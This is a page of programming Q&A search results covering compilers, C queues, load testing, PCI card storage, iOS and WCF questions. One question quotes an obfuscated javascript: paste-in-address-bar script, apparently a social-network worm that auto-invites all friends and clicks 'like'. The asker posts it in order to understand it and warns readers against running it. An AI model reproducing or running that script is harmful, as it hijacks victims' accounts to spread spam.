Search Results

Search found 4516 results on 181 pages for 'vincent low'.

Page 153/181 | < Previous Page | 149 150 151 152 153 154 155 156 157 158 159 160  | Next Page >

• Should a new language compiler target the JVM?

  - by Pindatjuh

  I'm developing a new language. My initial target was to compile to native x86 for the Windows platform, but now I am in doubt. I've seen some new languages target the JVM (most notable Scala and Clojure). Ofcourse it's not possible to port every language easily to the JVM; to do so, it may lead to small changes to the language and it's design. So that's the reason behind this doubt, and thus this question: Is targetting the JVM a good idea, when creating a compiler for a new language? Or should I stick with x86? I have experience in generating JVM bytecode. Are there any workarounds to JVM's GC? The language has deterministic implicit memory management. How to produce JIT-compatible bytecode, such that it will get the highest speedup? Is it similar to compiling for IA-32, such as the 4-1-1 muops pattern on Pentium? I can imagine some advantages (please correct me if I'm wrong): JVM bytecode is easier than x86. Like x86 communicates with Windows, JVM communicates with the Java Foundation Classes. To provide I/O, Threading, GUI, etc. Implementing "lightweight"-threads.I've seen a very clever implementation of this at http://www.malhar.net/sriram/kilim/. Most advantages of the Java Runtime (portability, etc.) The disadvantages, as I imagined, are: Less freedom? On x86 it'll be more easy to create low-level constructs, while JVM has a higher level (more abstract) processor. Most disadvantages of the Java Runtime (no native dynamic typing, etc.)

  Read the article

• Segmentation fault with queue in C

  - by Trevor

  I am getting a segmentation fault with the following code after adding structs to my queue. The segmentation fault occurs when the MAX_QUEUE is set high but when I set it low (100 or 200), the error doesn't occur. It has been a while since I last programmed in C, so any help is appreciated. #include <stdio.h> #include <stdlib.h> #include <string.h> #define MAX_QUEUE 1000 struct myInfo { char data[20]; }; struct myInfo* queue; void push(struct myInfo); int queue_head = 0; int queue_size = 0; int main(int argc, char *argv[]) { queue = (struct myInfo*) malloc(sizeof(struct myInfo) * MAX_QUEUE); struct myInfo info; char buf[10]; strcpy(buf, "hello"); while (1) { strcpy(info.data, buf); push(info); } } void push(struct myInfo info) { int next_index = sizeof(struct myInfo) * ((queue_size + queue_head) % MAX_QUEUE); printf("Pushing %s to %d\n", info.data, next_index); *(queue + (next_index)) = info; queue_size++; } Output: Pushing hello to 0 Pushing hello to 20 ... Pushing hello to 7540 Pushing hello to 7560 Pushing hello to 7580 Segmentation fault

  Read the article

• Problem with load testing Web Service - VSTS 2008

  - by Carlos

  Hello, I have a webtest with makes a simple call to a WebService which looks like that: MyWebService webService = new MyWebService(); webService.Timeout = 180000; webService.myMethod(); I am not using ThinkTimes, also the Run Duration is set to 5 minutes. When I ran this test simulating only 1 user, I check the counters and I found something like that: Tests Total: 4500 Network Interface\Bytes sent (agent machine): 35,500 Then I ran the same tests, but this time simulating 2 users and I got something like that: Tests Total: 2225 Network Interface\Bytes sent (agent machine): 30,500 So when I increased the numbers of users the tests/sec was half than when I use only 1 user and the bytes sent by the agent was also lower. I think it is strange, because it doesn't seems I have a bottleneck in my agent machine since CPU is never higher than 30% and I have over 1.5GB of RAM free, also my network utilization is like 0.5% of its capacity. In order to troubleshot this I ran a test using Step Pattern, the simulated users went from 20 to 800 users. When I check the requests/sec it is practically constant through the whole test, so it is clear there is something in my test or my environment which is preventing the number of requests from gets higher. It would be a expected behavior if the "response time" was getting higher because it would tell me the requests wasn't been processed properly, but the strange thing is the response time is practically constant all the time and it is pretty low actually. I have no idea why my agent can't send more requests when I increase the numbers of users, any help/tip/guess would be really appreciate.

  Read the article

• Payment Processors - What do I need to know if I want to accept credit cards on my website?

  - by Michael Pryor

  This question talks about different payment processors and what they cost, but I'm looking for the answer to what do I need to do if I want to accept credit card payments? Assume I need to store credit card numbers for customers, so that the obvious solution of relying on the credit card processor to do the heavy lifting is not available. PCI Data Security, which is apparently the standard for storing credit card info, has a bunch of general requirements, but how does one implement them? And what about the vendors, like Visa, who have their own best practices? Do I need to have keyfob access to the machine? What about physically protecting it from hackers in the building? Or even what if someone got their hands on the backup files with the sql server data files on it? What about backups? Are there other physical copies of that data around? Tip: If you get a merchant account, you should negotiate that they charge you "interchange-plus" instead of tiered pricing. With tiered pricing, they will charge you different rates based on what type of Visa/MC is used -- ie. they charge you more for cards with big rewards attached to them. Interchange plus billing means you only pay the processor what Visa/MC charges them, plus a flat fee. (Amex and Discover charge their own rates directly to merchants, so this doesn't apply to those cards. You'll find Amex rates to be in the 3% range and Discover could be as low as 1%. Visa/MC is in the 2% range). This service is supposed to do the negotiation for you (I haven't used it, this is not an ad, and I'm not affiliated with the website, but this service is greatly needed.) This blog post gives a complete rundown of handling credit cards (specifically for the UK).

  Read the article

• What does this code do

  - by Wardy

  Ok someone who happens to be a good friend of mine is sending me some odd emails lately one of which was a link to a page that asks you to copy and paste this in to your address bar in your browser then execute it ... javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function (){fs[_0xc100[8]]();} ,5000);setTimeout(function (){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function (){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})(); Not being totally with it when it comes to low level programming i'm curious as to what the email is asking here ... PLEASE DO NOT RUN THIS CODE UNLESS YOU ARE HAPPY THAT IT WILL NOT BREAK ANYTHING. But ... Could someone tell me what it does?

  Read the article

• Download Current WSJ.com Prime Rate

  - by Registered User

  I need to automatically download the current Wall Street Journal Prime Rate and load the data into my database. What is the best method for downloading this data automatically? I have come up with three possible solutions for doing this: Scrape a HTML web page from WSJ. Parse a RSS news feed from WSJ. Use some API that I haven't found from WSJ. Regarding solution 1, although I don't like solution 1 since it could easily break, it's the only one that I have worked out from end to end. It appears I can scrape this page with a WebRequest / WebResponse and read the text in this code: <tr> <td style="text-align:left" class="colhead">&nbsp;</td> <td class="colhead">Latest</td> <td class="colhead">Wk ago</td> <td class="colhead">High</td> <td class="colhead">Low</td> </tr> <tr> <td class="text">U.S.</td> <td style="font-weight:bold;" class="num">3.25</td> <td class="num">3.25</td> <td class="num">3.25</td> <td class="num" style="border-right:0px">3.25</td> </tr> Regarding solution 2, although I can implement a RSS reader solution, I don't see a way to reliably anticipate verbiage for changes in the Prime Rate. Therefore, I don't think this is as safe or reliable a way to get the data as solution 1. Regarding solution 3, I haven't found any published API's for checking money rates like the Prime Rate. If anyone knows of a web service or other API for checking money rates, then please let me know.

  Read the article

• How to reuse results with a schema for end of day stock-data

  - by Vishalrix

  I am creating a database schema to be used for technical analysis like top-volume gainers, top-price gainers etc.I have checked answers to questions here, like the design question. Having taken the hint from boe100 's answer there I have a schema modeled pretty much on it, thusly: Symbol - char 6 //primary Date - date //primary Open - decimal 18, 4 High - decimal 18, 4 Low - decimal 18, 4 Close - decimal 18, 4 Volume - int Right now this table containing End Of Day( EOD) data will be about 3 million rows for 3 years. Later when I get/need more data it could be 20 million rows. The front end will be asking requests like "give me the top price gainers on date X over Y days". That request is one of the simpler ones, and as such is not too costly, time wise, I assume. But a request like " give me top volume gainers for the last 10 days, with the previous 100 days acting as baseline", could prove 10-100 times costlier. The result of such a request would be a float which signifies how many times the volume as grown etc. One option I have is adding a column for each such result. And if the user asks for volume gain in 10 days over 20 days, that would require another table. The total such tables could easily cross 100, specially if I start using other results as tables, like MACD-10, MACD-100. each of which will require its own column. Is this a feasible solution? Another option being that I keep the result in cached html files and present them to the user. I dont have much experience in web-development, so to me it looks messy; but I could be wrong ( ofc!) . Is that a option too? Let me add that I am/will be using mod_perl to present the response to the user. With much of the work on mysql database being done using perl. I would like to have a response time of 1-2 seconds.

  Read the article

• Optimization headers for UITableView?

  - by Pask

  I have an optimization problem for the headers of a table with plain style. If I use the standard view for the table (the classic gray with titles set by titleForHeaderInSection:) everything is ok and the scrolling is smooth and immediate. When, instead, use this code to set my personal view: - (UIView *)tableView:(UITableView *)tableView viewForHeaderInSection:(NSInteger)section { return [self headerPerTitolo:[titoliSezioni objectAtIndex:section]]; } - (UIImageView *)headerPerTitolo:(NSString *)titolo { UIImageView *headerView = [[[UIImageView alloc] initWithFrame:CGRectMake(10.0, 0.0, 320.0, 44.0)] autorelease]; headerView.image = [UIImage imageNamed:kNomeImmagineHeader]; headerView.alpha = kAlphaSezioniTablePlain; UILabel * headerLabel = [[[UILabel alloc] initWithFrame:CGRectZero] autorelease]; headerLabel.backgroundColor = [UIColor clearColor]; headerLabel.opaque = NO; headerLabel.textColor = [UIColor whiteColor]; headerLabel.font = [UIFont boldSystemFontOfSize:16]; headerLabel.frame = CGRectMake(10.0,-11.0, 320.0, 44.0); headerLabel.textAlignment = UITextAlignmentLeft; headerLabel.text = titolo; [headerView addSubview:headerLabel]; return headerView; } scrolling is jerky and not immediate (sliding the finger on the screen does not match an immediate shift of the table). I do not know what caused this problem, maybe the fact that every time the method viewForHeaderInSection: is called, the code runs to create a new UIImageView. I tried many ways to solve the problem, such as creating an array of all the necessary view: apart from more time spent loading at startup, there is a continuing problem of low reactivity of the table. 've Attempted by reducing the size of UIImageView positioned from about 66 KB to 4 KB: not only has a deterioration in quality of colors (which distorts a bit 'original graphics), but ... the problem persists! Perhaps you have suggestions about it, or know me obscure techniques that enable me to optimize this aspect of my application ... I apologize for my English, I used Google for translation.

  Read the article

• What do you use to play sound in iPhone games?

  - by zoul

  Hello! I have a performance-intensive iPhone game I would like to add sounds to. There seem to be about three main choices: (1) AVAudioPlayer, (2) Audio Queues and (3) OpenAL. I’d hate to write pages of low-level code just to play a sample, so that I would like to use AVAudioPlayer. The problem is that it seems to kill the performace – I’ve done a simple measuring using CFAbsoluteTimeGetCurrent and the play message seems to take somewhere from 9 to 30 ms to finish. That’s quite miserable, considering that 25 ms == 40 fps. Of course there is the prepareToPlay method that should speed things up. That’s why I wrote a simple class that keeps several AVAudioPlayers at its disposal, prepares them beforehand and then plays the sample using the prepared player. No cigar, still it takes the ~20 ms I mentioned above. Such performance is unusable for games, so what do you use to play sounds with a decent performance on iPhone? Am I doing something wrong with the AVAudioPlayer? Do you play sounds with Audio Queues? (I’ve written something akin to AVAudioPlayer before 2.2 came out and I would love to spare that experience.) Do you use OpenAL? If yes, is there a simple way to play sounds with OpenAL, or do you have to write pages of code? Update: Yes, playing sounds with OpenAL is fairly simple.

  Read the article

• how would you like computer science classes to be taught?

  - by aaa

  hello I am a graduate student now, and hopefully someday I will teach. my interests are C++, Python, embedded languages, and scientific computing. Meanwhile I daydream about how I would teach. I was not quite happy with my undergraduate university as I found many computer science classes lacking. so I would like to ask you, if you were a student, how would you like your computer science classes to be taught? I understand it is a very subjective question, but nevertheless I think it's important to know what people want. Some specific points I am interested in: should computer languages be taught explicitly, or should students be required to pick up language on their own? what is better for learning, tests, projects, some sort of take-home exam? how do you think classtime should be used? theory, introduction, explanations, etc.? do you think the group projects are important? how much about computer architecture do you want to learn in computer science class, not necessarily assembler class. should particular operating system/editor be mandated or encouraged? Thanks thank you for your comments. Question has been closed because it is a discussion question rather than Q&A. If you know appropriate website for discussions of such sort with low noise ratio, please let me know.

  Read the article

• Can threads safely read variables set by VCL events?

  - by Tom1952

  Is it safe for a thread to READ a variable set by a Delphi VCL event? When a user clicks on a VCL TCheckbox, the main thread sets a boolean to the checkbox's Checked state. CheckboxState := CheckBox1.Checked; At any time, a thread reads that variable if CheckBoxState then ... It doesn't matter if the thread "misses" a change to the boolean, because the thread checks the variable in a loop as it does other things. So it will see the state change eventually... Is this safe? Or do I need special code? Is surrounding the read and write of the variable (in the thread and main thread respectively) with critical code calls necessary and sufficient? As I said, it doesn't matter if the thread gets the "wrong" value, but I keep thinking that there might be a low-level problem if one thread tries to read a variable while the main thread is in the middle of writing it, or vice versa. My question is similar to this one: http://stackoverflow.com/questions/1353096/cross-thread-reading-of-a-variable. (Also related to my previous question: http://stackoverflow.com/questions/2449183/using-entercriticalsection-in-thread-to-update-vcl-label)

  Read the article

• URL shortening: using inode as short name?

  - by Licky Lindsay

  The site I am working on wants to generate its own shortened URLs rather than rely on a third party like tinyurl or bit.ly. Obviously I could keep a running count new URLs as they are added to the site and use that to generate the short URLs. But I am trying to avoid that if possible since it seems like a lot of work just to make this one thing work. As the things that need short URLs are all real physical files on the webserver my current solution is to use their inode numbers as those are already generated for me ready to use and guaranteed to be unique. function short_name($file) { $ino = @fileinode($file); $s = base_convert($ino, 10, 36); return $s; } This seems to work. Question is, what can I do to make the short URL even shorter? On the system where this is being used, the inodes for newly added files are in a range that makes the function above return a string 7 characters long. Can I safely throw away some (half?) of the bits of the inode? And if so, should it be the high bits or the low bits? I thought of using the crc32 of the filename, but that actually makes my short names longer than using the inode. Would something like this have any risk of collisions? I've been able to get down to single digits by picking the right value of "$referencefile". function short_name($file) { $ino = @fileinode($file); // arbitrarily selected pre-existing file, // as all newer files will have higher inodes $ino = $ino - @fileinode($referencefile); $s = base_convert($ino, 10, 36); return $s; }

  Read the article

• Microsoft products such as Visual Studio 2010 does not require to enter serial number

  - by MainMa

  Hi, I am member of WebsiteSpark and was member of DreamSpark. Both programs enable to download software and provide serial keys to use. Some software like Windows Server has an ISO file to download and a serial number displayed on the website which I must enter during installation. Some other software does not have any serial key. For example, when I downloaded Visual Studio 2010, there was just a link to an ISO file. During installation, there was no such a field as serial number (whereas Visual Studio 2008 had this field at the beginning of installation process). There is the same thing with SQL Server 2008 and Microsoft Expression Studio 3. Even when I've downloaded the public trial RTM version of Windows Seven Enterprise, there were no serial number to enter. I don't think that such expensive products as SQL Server 2008 Enterprise are delivered without serials and online validation, so I suppose that the serial is embedded into the product itself, either in installation binaries or in a separate config file, so is already in the ISO I download so I do not have to enter it. So my question is, how it is done technically? Is each 2 GBs ISO generated on-demand on the server to embed a serial each time this ISO is requested? I suppose that if it is done, it has a huge impact on servers performance (no caching, no streaming...), so what may be the techniques used behind? I want to implement the same feature in a product I intend to ship (to simplify installation by avoiding to ask to enter serial number), but I really don't see how to do it with low impact on server performance.

  Read the article

• How do I detect if both left and right buttons are pushed?

  - by Greg McGuffey

  I would like have three mouse actions over a control: left, right and BOTH. I've got the left and right and am currently using the middle button for the third, but am curious how I could use the left and right buttons being pressed together, for those situations where the user has a mouse without a middle button. This would be handled in the OnMouseDown method of a custom control. UPDATE After reviewing the suggested answers, I need to clarify that what I was attempting to do was to take action on the mouse click in the MouseDown event (actually OnMouseDown method of a control). Because it appears that .NET will always raise two MouseDown events when both the left and right buttons on the mouse are clicked (one for each button), I'm guessing the only way to do this would be either do some low level windows message management or to implement some sort of delayed execution of an action after MouseDown. In the end, it is just way simpler to use the middle mouse button. Now, if the action took place on MouseUp, then Gary's or nos's suggestions would work well. Any further insights on this problem would be appreciated. Thanks!

  Read the article

• Returning large collections from WCF Serivce

  - by Nate Bross

  I'm trying to determine the best approach for building a WCF Service, and the area I'm struggling with most is returning lists of objects. The built-in maxMessageSize of 64k seems pretty high, and I really don't want to bump it up (quick googling finds 100s of places bumping the maxMessageSize up to multi-gigabyte range which seems foolish). But, when I'm returning a collection of objects (~150 items) I am exceeding the default 64k. I'm almost to the point of returning my own class which inherits IEnumerable and has properties for hasNext, hasPrevious and PageSize so that I can implement paging on the client side -- this seems like alot of code. The other option is to jackup the maxMessageSize and hope for the best, but that feels wrong. All other aspects of my service are working great, its just returning large collectiosn where I'm having issues. For background, there are two types of consumers of this service, UI applications which will be primarly web and/or wpf applications, and data processing applications, .NET console apps, and maybe some other non-UI apps. For the UI applications, I would like to keep them responsive and keep the messageSize low, on the console apps it doesn't matter as much as they are just pulling data down to do processing and push it back up to the service.

  Read the article

• What's a good Java-based Master-Slave communication mechanism?

  - by plecong

  I'm creating a Java application that requires master-slave communication between JVMs, possibly residing on the same physical machine. There will be a "master" server running inside a JEE application server (i.e. JBoss) that will have "slave" clients connect to it and dynamically register itself for communication (that is the master will not know the IP addresses/ports of the slaves so cannot be configured in advance). The master server acts as a controller that will dole work out to the slaves and the slaves will periodically respond with notifications, so there would be bi-directional communication. I was originally thinking of RPC-based systems where each side would be a server, but it could get complicated, so I'd prefer a mechanism where there's an open socket and they talk back and forth. I'm looking for a communication mechanism that would be low-latency where the messages would be mostly primitive types, so no serious serialization is necessary. Here's what I've looked at: RMI JMS: Built-in to Java, the "slave" clients would connect to the existing ConnectionFactory in the application server. JAX-WS/RS: Both master and slave would be servers exposing an RPC interface for bi-directional communication. JGroups/Hazelcast: Use shared distributed data structures to facilitate communication. Memcached/MongoDB: Use these as "queues" to facilitate communication, though the clients would have to poll so there would be some latency. Thrift: This does seem to keep a persistent connection, but not sure how to integrate/embed a Thrift server into JBoss WebSocket/Raw Socket: This would work, but require a lot more custom code than I'd like. Is there any technology I'm missing? Edit: Also looked at: JMX: Have the client connect to JBoss' JMX server and receive JMX notifications for bidirectional comms.

  Read the article

• Modify MySQL INSERT statement to omit the insertion of certain rows

  - by dave

  I'm trying to expand a little on a statement that I received help with last week. As you can see, I'm setting up a temporary table and inserting rows of student data from a recently administered test for a few dozen schools. When the rows are inserted, they are sorted by the score (totpct_stu, high to low) and the row_number is added, with 1 representing the highest score, etc. I've learned that there were some problems at school #9999 in SMITH's class (every student made a perfect score and they were the only students in the district to do so). So, I do not want to import SMITH's class. As you can see, I DELETED SMITH's class, but this messed up the row numbering for the remainder of student at the school (e.g., high score row_number is now 20, not 1). How can I modify the INSERT statement so as to not insert this class? Thanks! DROP TEMPORARY TABLE IF EXISTS avgpct ; CREATE TEMPORARY TABLE avgpct_1 ( sch_code VARCHAR(3), schabbrev VARCHAR(75), teachername VARCHAR(75), totpct_stu DECIMAL(5,1), row_number SMALLINT, dummy VARCHAR(75) ); -- ---------------------------------------- INSERT INTO avgpct SELECT sch_code , schabbrev , teachername , totpct_stu , @num := IF( @GROUP = schabbrev, @num + 1, 1 ) AS row_number , @GROUP := schabbrev AS dummy FROM sci_rpt WHERE grade = '05' AND totpct_stu >= 1 -- has a valid score ORDER BY sch_code, totpct_stu DESC ; -- --------------------------------------- -- select * from avgpct ; -- --------------------------------------- DELETE FROM avgpct_1 WHERE sch_code = '9999' AND teachername = 'SMITH' ;

  Read the article

• Logging *Business* Events - use logging framework?

  - by UpTheCreek

  Hi, Something here doesn't feel right to me here, and so I would like the community's input - perhaps I am approaching this in the wrong way.... Q: Is is appropriate to use traditional infrastructure logging frameworks (like log4net) to log business events? When I say business events, I mean I want a global log like this: xx:xx Customer A purchased widget B. xx:xx Widget B was dispatched from warehouse. xx:xx Customer B payment declined. Most traditional infrastructure logging frameworks have event levels something like this: FATAL ERROR WARN INFO DEBUG An of course these messages don't fit well into that. Best description would be INFO, but of course these are important events, and INFO is of very low importance. I would still like this as a 'log' (e.g. I don't want to have to extract this from my business objects each time I want to see it) Seems to me I have two options: 1) Use a framework like log4net and just define a special logger for this (and live with the fact that it doesn't feel right). 2) Provide a service for performing this that doesn't rely on a traditional logging services. I'm leaning towards 2. What has anyone else done in a similar situations? Thanks!

  Read the article

• Python's asyncore to periodically send data using a variable timeout. Is there a better way?

  - by Nick Sonneveld

  I wanted to write a server that a client could connect to and receive periodic updates without having to poll. The problem I have experienced with asyncore is that if you do not return true when dispatcher.writable() is called, you have to wait until after the asyncore.loop has timed out (default is 30s). The two ways I have tried to work around this is 1) reduce timeout to a low value or 2) query connections for when they will next update and generate an adequate timeout value. However if you refer to 'Select Law' in 'man 2 select_tut', it states, "You should always try to use select() without a timeout." Is there a better way to do this? Twisted maybe? I wanted to try and avoid extra threads. I'll include the variable timeout example here: #!/usr/bin/python import time import socket import asyncore # in seconds UPDATE_PERIOD = 4.0 class Channel(asyncore.dispatcher): def __init__(self, sock, sck_map): asyncore.dispatcher.__init__(self, sock=sock, map=sck_map) self.last_update = 0.0 # should update immediately self.send_buf = '' self.recv_buf = '' def writable(self): return len(self.send_buf) > 0 def handle_write(self): nbytes = self.send(self.send_buf) self.send_buf = self.send_buf[nbytes:] def handle_read(self): print 'read' print 'recv:', self.recv(4096) def handle_close(self): print 'close' self.close() # added for variable timeout def update(self): if time.time() >= self.next_update(): self.send_buf += 'hello %f\n'%(time.time()) self.last_update = time.time() def next_update(self): return self.last_update + UPDATE_PERIOD class Server(asyncore.dispatcher): def __init__(self, port, sck_map): asyncore.dispatcher.__init__(self, map=sck_map) self.port = port self.sck_map = sck_map self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.bind( ("", port)) self.listen(16) print "listening on port", self.port def handle_accept(self): (conn, addr) = self.accept() Channel(sock=conn, sck_map=self.sck_map) # added for variable timeout def update(self): pass def next_update(self): return None sck_map = {} server = Server(9090, sck_map) while True: next_update = time.time() + 30.0 for c in sck_map.values(): c.update() # <-- fill write buffers n = c.next_update() #print 'n:',n if n is not None: next_update = min(next_update, n) _timeout = max(0.1, next_update - time.time()) asyncore.loop(timeout=_timeout, count=1, map=sck_map)

  Read the article

• Using SVN post-commit hook to update only files that have been commited

  - by fondie

  I am using an SVN repository for my web development work. I have a development site set up which holds a checkout of the repository. I have set up an SVN post-commit hook so that whenever a commit is made to the repository the development site is updated: cd /home/www/dev_ssl /usr/bin/svn up This works fine but due to the size of the repository the updates take a long time (approx. 3 minutes) which is rather frustrating when making regular commits. What I'd like is to change the post-commit hook to only update those files/directories that have been committed but I don't know how to go about doing this. Updating the "lowest common directory" would probably be the best solution, e.g. If committing the follow files: /branches/feature_x/images/logo.jpg /branches/feature_x/css/screen.css It would update the directory: /branches/feature_x/ Can anyone help me create a solution that achieves this please? Thanks! Update: The repository and development site are located on the same server so network issues shouldn't be involved. CPU usage is very low, and I/O should be ok (it's running on hi-spec dedicated server) The development site is approx. 7.5GB in size and contains approx. 600,000 items, this is mainly due to having multiple branches/tags

  Read the article

• sorting a timer in matlab

  - by AP

  ok it seems like a simple problem, but i am having problem I have a timer for each data set which resets improperly and as a result my timing gets mixed. Any ideas to correct it? without losing any data. Example timer col ideally should be timer , mine reads 1 3 2 4 3 5 4 6 5 1 6 2 how do i change the colum 2 or make a new colum which reads like colum 1 without changing the order of ther rows which have data this is just a example as my file lengths are 86000 long , also i have missing timers which i do not want to miss , this imples no data for that period of time. thanks EDIT: I do not want to change the other columns. The coulm 1 is the gps counter and so it does not sync with the comp timer due to some other issues. I just want to change the row one such that it goes from high to low without effecting other rows. also take care of missing pts ( if i did not care for missing pts simple n=1: max would work.

  Read the article

• Audio output from Silverlight

  - by leecarter

  I'm looking to develop a Silverlight application which will take a stream of data (not an audio stream as such) from a web server. The data stream would then be manipulated to give audio of a certain format (G.711 a-Law for example) which would then be converted into PCM so that additional effects can be applied (such as boosting the volume). I'm OK up to this point. I've got my data, converted the G.711 into PCM but my problem is being able to output this PCM audio to the sound card. I basing a solution on some C# code intended for a .Net application but in Silverlight there is a problem with trying to take a copy of a delegate (function pointer) which will be the topic of a separate question once I've produced a simple code sample. So, the question is... How can I output the PCM audio that I have held in a data structure (currently an array) in my Silverlight to the user? (Please don't say write the byte values to a text box) If it were a MP3 or WMA file I would play it using a MediaElement but I don't want to have to make it into a file as this would put a crimp on applying dynamic effects to the audio. I've seen a few posts from people saying low level audio support is poor/non-existant in Silverlight so I'm open to any suggestions/ideas people may have.

  Read the article

• Mac OS X Status Bar Application - Hiding it from Cmd/Alt menu?

  - by Moddy

  I'm trying to whip up a simple little Status Bar Application in Obj-C/Cocoa. So I have done it pragmatically - declaring an NSStatusItem, adding it to the NSStatusBar and then giving it a NSMenu object. A bit like this... NSStatusBar *bar = [NSStatusBar systemStatusBar]; theItem = [bar statusItemWithLength:NSVariableStatusItemLength]; [theItem retain]; [theItem setTitle: NSLocalizedString(@"Tablet",@"")]; [theItem setHighlightMode:YES]; [theItem setMenu:theMenu]; (Example taken from "Status Bar Programming Topics", Apple Documentation) Now ideally, I'd like this application to run and not be accessible from the CMD/ALT window changing "menu" (for lack of a better word), I've seen applications do it before and would like that really. The idea is I just want it to be accessible from every window, whilst not having its own NSMenu on the status bar, and whilst not being able to have it as the active application ( - so its not able to take over the whole Status Bar, and its not able to be seen through CMD/ALT) Additionally, I was wondering if the StatusBarItem supports the ability to drag-n-drop an item onto it? I'm not sure if thats a limitation of the NSStatusBar though. I've read up on deamons and agents, but that seems far too low level/over kill for such a simplistic app! Cheers in advance!

  Read the article

• how to set a fixed color bar for pcolor in python matplotlib?

  - by user248237

  I am using pcolor with a custom color map to plot a matrix of values. I set my color map so that low values are white and high values are red, as shown below. All of my matrices have values between 0 and 20 (inclusive) and I'd like 20 to always be pure red and 0 to always be pure white, even if the matrix has values that don't span the entire range. For example, if my matrix only has values between 2 and 7, I don't want it to plot 2 as white and 7 as red, but rather color it as if the range is still 0 to 20. How can I do this? I tried using the "ticks=" option of colorbar but it did not work. Here is my current code (assume "my_matrix" contains the values to be plotted): cdict = {'red': ((0.0, 1.0, 1.0), (0.5, 1.0, 1.0), (1.0, 1.0, 1.0)), 'green': ((0.0, 1.0, 1.0), (0.5, 1.0, 1.0), (1.0, 0.0, 0.0)), 'blue': ((0.0, 1.0, 1.0), (0.5, 1.0, 1.0), (1.0, 0.0, 0.0))} my_cmap = matplotlib.colors.LinearSegmentedColormap('my_colormap', cdict, 256) colored_matrix = plt.pcolor(my_matrix, cmap=my_cmap) plt.colorbar(colored_matrix, ticks=[0, 5, 10, 15, 20]) any idea how I can fix this to get the right result? thanks very much.

  Read the article

• php simplexmlelement - I can access most properties (except the one with a dash?)

  - by Matthew Steiner

  So I run some code like this: $quote = simplexml_load_string($xml); $quote = $quote->Stock; echo 'Name: '; echo $quote->Name; echo '<br>'; echo 'Sybmol: '; echo $quote->Symbol; echo '<br>'; echo 'Last Price: '; echo $quote->Last; echo '<br>'; echo 'Earnings To Price Ratio: '; echo $quote->P-E; echo '<br>'; I know that the second to last line ($quote-P-E) is incorrect - I don't think you can use dashes like that. But for some reason I can't figure out how to access that property. The weird thing is that's how it's written if I var_dump($quote) (It's towards the end): object(SimpleXMLElement)#17 (16) { ["Symbol"]=> string(4) "AAPL" ["Last"]=> string(6) "271.87" ["Date"]=> string(9) "6/17/2010" ["Time"]=> string(6) "3:59pm" ["Change"]=> string(5) "+4.62" ["Open"]=> string(6) "270.72" ["High"]=> string(6) "272.90" ["Low"]=> string(6) "269.50" ["Volume"]=> string(8) "31195032" ["MktCap"]=> string(6) "247.4B" ["PreviousClose"]=> string(6) "267.25" ["PercentageChange"]=> string(6) "+1.73%" ["AnnRange"]=> string(15) "132.88 - 272.90" ["Earns"]=> string(6) "11.796" ["P-E"]=> string(5) "22.66" ["Name"]=> string(10) "Apple Inc." } How should I be accessing this attribute/property?

  Read the article

< Previous Page | 149 150 151 152 153 154 155 156 157 158 159 160  | Next Page >